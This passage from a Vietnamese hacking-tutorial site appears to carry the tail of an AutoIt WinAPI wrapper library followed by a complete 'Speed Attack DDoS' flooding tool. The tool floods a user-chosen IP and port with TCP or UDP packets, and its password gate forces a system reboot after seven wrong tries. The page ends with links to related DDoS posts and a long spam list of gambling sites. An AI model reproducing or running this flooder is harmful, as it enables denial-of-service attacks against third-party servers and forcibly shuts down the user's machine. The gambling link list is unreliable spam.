Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcapture($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcursor($hcursor)
Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setdefaultprinter($sprinter)
Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setendoffile($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setevent($hevent)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setfocus($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
_sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
EndFunc
Func _winapi_sethandleinformation($hobject, $imask, $iflags)
Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
If NOT $iscolorref Then
$i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1))
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setparent($hwndchild, $hwndparent)
Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setprocessaffinitymask($hprocess, $imask)
Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setsyscolors($velements, $vcolors)
Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
Local $ielementnum
If NOT $iscarray AND NOT $isearray Then
$ielementnum = 1
ElseIf $iscarray OR $isearray Then
If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
$ielementnum = UBound($velements)
EndIf
Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
If NOT $isearray Then
DllStructSetData($telements, "Element", $velements, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($telements, "Element", $velements[$x], $x + 1)
Next
EndIf
If NOT $iscarray Then
DllStructSetData($tcolors, "NewColor", $vcolors, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
Next
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_settextcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
_winapi_setlasterror(0)
Local $sfuncname = "SetWindowLongW"
If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowtext($hwnd, $stext)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_showcursor($fshow)
Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_showerror($stext, $fexit = True)
_winapi_msgbox(266256, "Error", $stext)
If $fexit Then Exit
EndFunc
Func _winapi_showmsg($stext)
_winapi_msgbox(64 + 4096, "Information", $stext)
EndFunc
Func _winapi_showwindow($hwnd, $icmdshow = 5)
Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_stringfromguid($pguid)
Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_stringlena($vstring)
Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring)
If @error Then Return SetError(1, @extended, 0)
Return $acall[0]
EndFunc
Func _winapi_stringlenw($vstring)
Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring)
If @error Then Return SetError(1, @extended, 0)
Return $acall[0]
EndFunc
Func _winapi_sublangid($lgid)
Return BitShift($lgid, 10)
EndFunc
Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_twipsperpixelx()
Local $lngdc, $twipsperpixelx
$lngdc = _winapi_getdc(0)
$twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixelx
EndFunc
Func _winapi_twipsperpixely()
Local $lngdc, $twipsperpixely
$lngdc = _winapi_getdc(0)
$twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixely
EndFunc
Func _winapi_unhookwindowshookex($hhk)
Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatewindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
Local $sunicodetype = "wstr"
If NOT IsString($punicode) Then $sunicodetype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
$aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
If $bretstring Then Return DllStructGetData($tmultibyte, 1)
Return $tmultibyte
EndFunc
Func _winapi_windowfrompoint(ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
If @error Then Return SetError(1, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_writeconsole($hconsole, $stext)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[5]
Return $aresult[0]
EndFunc
#NoTrayIcon
GUICreate("Speed Attack DDos 1.0 D-K")
GUISetState()
$input = GUICtrlCreateInput("                 ", 50, 50, "", "", 32)
$kiemtra = GUICtrlCreateButton("Kiểm tra PassWord", 50, 200)
GUICtrlSetBkColor(-1, 16711680)
$number = 0
MsgBox(0, "Thông báo", "Hãy nhập mật khẩu của Tool Vao Đây")
While 1
$event = GUIGetMsg()
If $event = $kiemtra Then
$matkhau = GUICtrlRead($input)
If $matkhau = "dnduykhang-mzg@1234!@#$" Then
MsgBox(0, "Thành công", "Bạn đã nhập chính xác mật khẩu Mời Bạn Qua Tool DDos")
ExitLoop
Else
$number = $number + 1
MsgBox(0, "Không thành công", "Nhập mật khẩu sai lần " & $number)
If $number = 7 Then
MsgBox(0, "Warning", "Bạn đã nhập sai mật khẩu quá nhiều khởi động lại máy tính")
Shutdown(6)
EndIf
EndIf
EndIf
WEnd
GUICreate("Speed Attack Flood 1.0", 380, 460, -1, -1, $ws_sizebox)
GUICtrlSetBkColor(-1, 16711680)
GUISetFont(8, 8, 0, "DuyKhang")
GUICtrlSetBkColor(-1, 49151)
GUICtrlCreateLabel("Nhap IP Can tan Cong:", 5, 5)
$ip = GUICtrlCreateInput(@IPAddress1, 5, 25, 175, 20)
GUISetFont(8, 8, 0, "DuyKhang")
GUICtrlCreateLabel("Chon the loai tan cong:", 200, 5)
$protocol = GUICtrlCreateCombo("TCP", 200, 25, 175, 20, $cbs_dropdownlist)
GUICtrlSetData($protocol, "UDP|", "UDP")
GUICtrlSetBkColor(-1, 16711680)
GUICtrlCreateLabel("Nhap Port:", 200, 55)
$port = GUICtrlCreateInput("80", 200, 75, 175, 20)
GUICtrlCreateLabel("Data to Send:", 200, 105)
$data = GUICtrlCreateInput("D-K Maze-GameVN", 200, 125, 175, 20)
GUICtrlCreateLabel("Gui  Du  Lieu  Phan  Hoi  Den  Muc  Tieu:", 5, 55)
$con = GUICtrlCreateInput("999", 5, 75, 175, 20)
GUICtrlCreateLabel("Thoi gian tan cong :", 5, 105)
$timeout = GUICtrlCreateInput("999", 5, 125, 175, 20)
$start = GUICtrlCreateButton("Start DDoS!", 5, 185, 175, 20)
GUICtrlSetBkColor(-1, 49151)
$stop = GUICtrlCreateButton("Stop DDoS!", 200, 185, 175, 20, $ws_disabled)
GUICtrlSetBkColor(-1, 49151)
GUICtrlCreateLabel("Nhan Du Lieu Flood:", 5, 155)
GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang")
$connectionslabel = GUICtrlCreateLabel("0", 155, 155, 60)
GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang")
$ransock = GUICtrlCreateCheckbox("Random Sent Data ", 200, 155)
GUICtrlSetState($ransock, $gui_checked)
$log = GUICtrlCreateEdit("Speed Attack Flood Version 1.0 Code By DuyKhang-MZG ( Moi Chi tiet thac mac xin lien he : [email protected]!!!", 5, 215, 370, 240, BitOR($ws_vscroll, $es_autovscroll, $es_readonly))
$num = GUICtrlRead($con)
GUICtrlSetBkColor(-1, 16745466)
Func _addlog($string)
$currentlog = GUICtrlRead($log)
$newlog = $currentlog & @CRLF & $string
GUICtrlSetData($log, $newlog)
EndFunc
GUISetState()
While 1
$msg = GUIGetMsg()
If $msg = $gui_event_close Then Exit
If $msg = $stop Then
$i = $num
GUICtrlSetData($connectionslabel, "0")
GUICtrlSetState($start, $gui_enable)
GUICtrlSetState($stop, $gui_disable)
EndIf
If $msg = $start Then
GUICtrlSetData($log, "Speed Attack Flood Version 1.0 Code By DuyKhang-MZG !!!", "")
GUICtrlSetState($start, $gui_disable)
GUICtrlSetState($stop, $gui_enable)
$sip = GUICtrlRead($ip)
$iport = GUICtrlRead($port)
$ilength = GUICtrlRead($timeout)
$num = GUICtrlRead($con)
Local $sock
Local $soutbuffer = "D-K MazeGameVN"
Global $i = 0
_addlog(@CRLF & "Target: " & $sip & @CRLF & "Port: " & $iport & @CRLF & "Protocol: " & GUICtrlRead($protocol) & @CRLF & "Number: " & $num & @CRLF & "Timeout: " & $ilength & @CRLF)
If GUICtrlRead($protocol) = "TCP" Then attacktcp()
If GUICtrlRead($protocol) = "UDP" Then attackudp()
EndIf
WEnd
Func attacktcp()
Opt("TCPTimeout", $ilength)
TCPStartup()
While 1
$i = $i + 1
GUICtrlSetData($connectionslabel, $i, "")
$sock = TCPConnect(TCPNameToIP($sip), $iport)
$send = TCPSend($sock, $soutbuffer)
If $i = $num Then ExitLoop
_addlog("Sending TCP Packet (" & $send & " bytes) - Socket: " & $sock & " - Port: " & $iport)
If GUICtrlRead($ransock) = 4 Then TCPCloseSocket($sock)
WEnd
If GUICtrlRead($ransock) = 1 Then TCPCloseSocket($sock)
_addlog("Done!")
$num = GUICtrlRead($con)
TCPShutdown()
GUICtrlSetState($start, $gui_enable)
GUICtrlSetState($stop, $gui_disable)
GUICtrlSetData($connectionslabel, "0")
EndFunc
Func attackudp()
UDPStartup()
Opt("TCPTimeout", $ilength)
TCPStartup()
While 1
$i = $i + 1
GUICtrlSetData($connectionslabel, $i, "")
$sock = UDPOpen($sip, $iport, 1)
Sleep($ilength)
$send = UDPSend($sock, $soutbuffer)
_addlog("Sending UDP Packet (" & $send & " bytes) - Port: " & $iport)
If GUICtrlRead($ransock) = 4 Then UDPCloseSocket($sock)
WEnd
If GUICtrlRead($ransock) = 1 Then UDPCloseSocket($sock)
_addlog("Done!")
UDPCloseSocket($sock)
$num = GUICtrlRead($con)
UDPShutdown()
TCPShutdown()
GUICtrlSetState($start, $gui_enable)
GUICtrlSetState($stop, $gui_disable)
GUICtrlSetData($connectionslabel, "0")
EndFunc

 

Xem thêm:  Làm thế nào để DDos và làm ngừng hoạt động Website (3 phương pháp)
Tags: DDOS
AnonyViet

AnonyViet

Kiến thức như một ngọn lửa, càng chia sẽ nó sẽ càng bùng cháy!

Related Posts

DOS ATTACK từ bên trong mạng đến máy chủ DHCP 5
DDOS

DOS ATTACK từ bên trong mạng đến máy chủ DHCP

23/04/2024
AnonyDOS
DDOS

AnonyDOS – Công cụ DOS mạng WiFi

04/07/2022
DDosify - Công cụ kiểm tra sức chịu tải DDoS của Website 6
DDOS

DDosify – Công cụ kiểm tra sức chịu tải DDoS của Website

01/07/2022
HASOKI - Công cụ DDoS Website Bypass CloudFlare 7
DDOS

HASOKI – Công cụ DDoS Website Bypass CloudFlare

30/05/2022 - Updated on 26/08/2022
Giao diện Raven Storm
DDOS

Raven Storm – DDos Toolkit bằng Python

01/04/2022
Cách tấn công DoS DHCP Server bằng Python 8
DDOS

Cách tấn công DoS DHCP Server bằng Python

27/03/2022
Subscribe
Notify of
guest

guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

1 Comment
oldest
newest
Inline Feedbacks
View all comments
NguyenHaSon-2006
NguyenHaSon-2006
7 years ago

dài lắm dài lắm và thanks so much

Reply
wpdiscuz   wpDiscuz

Liên hệ Quảng Cáo

Lien he AnonyViet

Bài viết mới

Hướng dẫn tra cứu Luật bằng AI nhanh và chuẩn xác 15

Hướng dẫn tra cứu Luật bằng AI nhanh và chuẩn xác

by Thanh Kim
06/06/2025
0

Hướng dẫn đăng ký ChatGPT Team giá 1$ 16

Hướng dẫn đăng ký ChatGPT Team giá 1$

by Thanh Kim
05/06/2025
0

Cách tạo ảnh meme online cực dễ với vài bước 17

Cách tạo ảnh meme online cực dễ với vài bước

by Thanh Kim
05/06/2025
0

Apple Pay hỗ trợ thẻ NAPAS: Tương lai thanh toán không tiếp xúc tại Việt Nam 18

Apple Pay hỗ trợ thẻ NAPAS: Tương lai thanh toán không tiếp xúc tại Việt Nam

by Thanh Kim
04/06/2025
0

Giới thiệu

AnonyViet

AnonyViet

Nơi chia sẻ những kiến thức mà bạn chưa từng được học trên ghế nhà trường!

Chúng tôi sẵn sàng đón những ý kiến đóng góp, cũng như bài viết của các bạn gửi đến AnonyViet.

Hãy cùng AnonyViet xây dựng một cộng đồng CNTT lớn mạnh nhất!

Giới thiệu

AnonyViet là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. AnonyViet cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

Liên hệ

Email: anonyviet.com[@]gmail.com

1409 Hill Street #01-01A
Old Hill Street Police Station
Singapore 179369

 

DMCA.com Protection Status

Bình luận gần đây

  • AnonyViet trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Long trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Dinhkhai trong Cách đăng bán tài liệu cũ trên Studypool kiếm thêm thu nhập
  • Thịnh trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • Hải trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • AnonyViet trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Trung trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • AnonyViet trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Trung trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Dao Hoang Ha trong Cách Active Key Sublime Text 4 – Tải Sublime Text 4 Full Key
  • ANH trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • nam trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • nam trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • Hoàng Minh trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • Anh Khoa trong Cách Active Key Sublime Text 4 – Tải Sublime Text 4 Full Key
  • Ken trong Signal là gì? Tại sao bạn nên dùng Signal để nhắn tin
  • Kiệt trong Cách cài đặt và kích hoạt Office 2024 LTSC miễn phí vĩnh viễn
  • Jon trong Cách tạo MTProto Proxy riêng để dùng Telegram khi bị chặn
  • Kim trong Cách tạo MTProto Proxy riêng để dùng Telegram khi bị chặn
  • Snow trong Cách tạo MTProto Proxy riêng để dùng Telegram khi bị chặn

©2025 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về Công nghệ Danh mục kết quả xổ số hôm nay trực tiếp bóng đá xoilac colatv truc tiep bong da trang chủ hi88 trang chủ hi88 kubet777 KUBET xoilac nhà cái 8xbet https://vn88-vn.com/ https://i9bet-vn.net/ https://typhu88-vn.com/ https://hb88-vn.org/ Kubet Sun win bong88 https://cwfun.org/ https://hi88.gives/ 33win 789win ww88 888B kubet https://thabet-vn.com/ Ae888 kubet 789Club 188BET 188BET Link https://789club10.pro kubet hi88 188bet 8kbet pg88 99ok xin88 good88 https://www.chantalsutherlandjockey.com/ https://www.thepajamagamethemusical.com/ thabet kubet F168 w88 cakhiatv Thapcam TV https://78win.id/ Game bài đổi thưởng https://33winlink.live/ 68gamebai MB66 FB88 hi88 Hi88 8day Thabet 33win Bk8 Go88 69VN 69VN 69VN W88 https://78win.dental/ fun88 789win w88 nhà cái uy tín sunwin sunwin sunwin f168 f8bet k8cc https://qq883a.com/ Leo88 Leo88 Net88 nha cai uy tin mu88 casino Vebo TV https://v9betnet.com/ https://ee88vie.com/ 69vn max88 manclub iwin 79king mu88 com https://78winn.city/ ww88 SV388 69VN jun88 bk8 rikvip hitclub sunwin go88 98win 789bet m88 s666 sv388 789bet 69VN Zomclub 8kbet https://hi88fz.com/ XO88 VicClub SAM86 https://u888.one/ ABC8 https://go886.org/ https://sunwin10.org/ https://789club10.life/ Jun88 https://jun88pro.org/ 77Bet HB88 123b https://33winvn.me/ https://789betvia.com/ https://789betvib.com/ https://789betvic.com/ https://789betvid.com/ https://789betvie.com/ https://789betvif.com/ https://789betvig.com/ https://789betvih.com/ https://789betvii.com/ https://789betvij.com/ https://789betvik.com/ https://789betvil.com/ https://789betvim.com/ https://789betvio.com/ https://789betviq.com/ https://789betvir.com/ https://new8822.com/ https://new88836.com/ https://new88838.com/ https://new88812.com/ https://new88833.com/ https://new88813.com/ https://new88814.com/ https://new88815.com/ https://new88840.com/ https://new88816.com/ https://new88817.com/ https://new88818.com/ https://new88819.com/ https://new88820.com/ https://new88821.com/ https://new88839.com/ https://new88823.com/ https://ahihi88.host/ https://hi8818.com/ https://hi8818.site/ https://hi8818.ink/ https://hi8818.me/ https://hi8818.xyz/ https://hi8818.blog/ https://hi8818.us/ https://hi8818.cloud/ https://hi8818.online/ https://shbet188.org/ https://shbet188.me/ https://shbet188.pro/ https://shbet188.cloud/ https://shbet188.ink/ https://shbet288.store/ https://shbet288.today/ https://shbet288.tech/ https://shbet188.xyz/ https://shbet188.us/ https://shbet188.shop/ https://jun8818.org/ https://jun8818.net/ https://jun8818.me/ https://jun8818.xyz/ https://jun8818.pro/ https://jun8818.cloud/ https://jun8818.info/ https://jun8818.us/ https://jun8818.live/ https://jun8818.shop/ U888 win55 Tha bet hello88 188bet kubet11 k8cc f168 FB88 luckywin https://bet88.love/ 188BET 68 game bài fm88 F168 69VN 58win https://kubet96.com/ https://xin88.international/ https://xin88.de.com/ 7mcn five88 SH BET https://t8kbet.com/ ww88 https://vb88.social/ rr88 qh88 https://918xxy.com/ 58WIN 58WIN NOHU90 Sunwin https://77betvn.me/ https://hb88vn.live/ kubet thailand bk8 789club tài xỉu online uy tín Gemwin Game bài đổi thưởng uy tín https://www.newfacespac.com/ jun88 qq88 https://58win.digital/ iWin68 vip66 xoso66 789 BET vip66 xoso66 luckywin https://shbet.asia/ Nhà cái uy tín ww88 https://www.martelly2010.com/ 69vn https://79kingg.me/ f168 88vv https://good88gd.com/ https://tp88fun.com/ OK365 Nhà Cái WW88 jun88 FB88 W88 6789 Daga bongda365 sodo66 Gemwin 45678 https://z8kbet.com/ nhatvip Suncity 12bet v9bet betvisa betvisa vin777 vin777 ee88 bet88 78win abc8 c54 new88 i9bet ok365 ae888 https://keonhacai.fund/ trang chủ hi88 https://bet88bb.com/ 69VN splive vebotv 6623 Pk14 K8cc Daga 68WIN 8XBET https://shbet.solar/ F168 69vn Sun win Go 88 e2bet kubet 8xbet u888 ww88 QQ88 bong88 daga 78win 8kbet w88 S666 Typhu88 V9BET Bong88 Fb88 sv388 KIWI 12bet Kubet IWIN IWIN good88 i9BET 99ok 123b 789win Good88 79king Nhà cái uy tín Bk8 Hb88 w88 fun88 qq88 daga https://8kbet.party/ kubet77 Kèo nhà cái 32win https://ok9393.com/ https://mb6699.net/ RR88 kèo nhà cái 8kbet Mitom TV SUNCITY ww88 https://ww88.engineer/ https://bet888co.com/ 789bet https://bet88gg.com/ https://vb88.social/ nhacaiuytin f8bet Kèo nhà cái ee88 net88 soc88 max88 hello88 thabet kèo nhà cái 69VN 123b https://bsport.baby/ qq88 https://kubet.loan/ iwin68 ga6789 88go bongvip go789 32win 89bet u888 qh88 Luckywin https://bet88.diy/ bongvip bet88 6789 NH88 89bet day f168 79King 789Win https://abc8.furniture/ iwinclub 69vn TK88 Sky88 tài xỉu leo88 hb88 77bet 23WIN jun88.info https://79king.study/ good88.com https://king88aff.com/ Tài xỉu online goal123 79KING SV66 https://jbo.center/ luckywin https://www.meryland.com.vn/ QQ88 88aa https://789p.express/ https://radiatecms.com/ https://635squadron.com/ https://td88.my/ sv388 GK88 https://w88.gifts/ ku bet Cá cược bóng đá No hu td88 okvip Kuwin lixi88 Cakhia TV https://www.lixi88a.vip/ sv388 GK88 gk88 https://ww88.band/ https://new88.market/ https://vkubet.net/ kubet S666 S666 qq88 88clb kubet kubet kubet bk8 ae888 b52club b52club b52club sin88 fb68 32win 32win KUBET https://nohu90ab.com/ F168 https://phantom.uk.com/ https://bk8z.com.co/ https://xin88.vegas/ 79king 789p f168 https://abc8gd.com/ 23win BET88 Kuwin 8kbet PG88 SV388 F168 SV388 Kuwin hi88 gg 8kbet fun88 https://a23win.com/ UW99 SAOWIN https://bet886.pro/ https://new88.land/ Nohu90 hello88 PG88 https://69vn.attorney/ 88VV Hello88 https://asf.us.com/ 3389 33win GK88 tải app kubet https://68ww88.com/ https://68gamebai.game/ 789f 8kbet https://ok9.today/ Xoso66 Vip66 ABC8 Đăng ký Kubet kubet11 hitclub Wi88 32WIN HB88 HB88 https://bet88.tennis/ 69vn com https://luongsontv44.com/ ww88 https://68ww88.com/ https://789wincom.me/ https://hubett2.org/ bong99 https://mb66.bz/ BET88 69vn com https://fb88nu.com/ qh88 Kubet https://nohu90phut.com/ bet88 https://vibong88.com/ https://nhacaiuytinbiz.com/ king88 https://thabet789.net/ Good88 Ga6789 bet88 nhacaiuytin Daga Link https://keonhacai.select/ bet88 FB88 bj88 https://69vnn.trading/ https://bet88org.com/ https://88clbus.com/ https://u888rse.com/ XOSO66

No Result
View All Result
  • ANONYVIET CẦN CÁC BẠN GIÚP SỨC
  • Chính sách
  • Mini Game AnonyViet và FShare Mừng xuân 2021
  • Privacy
  • Quảng cáo
  • Search
  • Search Results
  • Share Acc Nhaccuatui VIP 2020
  • Thành Viên VIP
    • Danh Sách Đặc Quyền Thành Viên VIP
  • Tiếp tục đi đến trang mới là tính năng gì
  • Trang chủ
  • Đang lấy thông tin dữ liệu
  • Đang đến địa chỉ đích

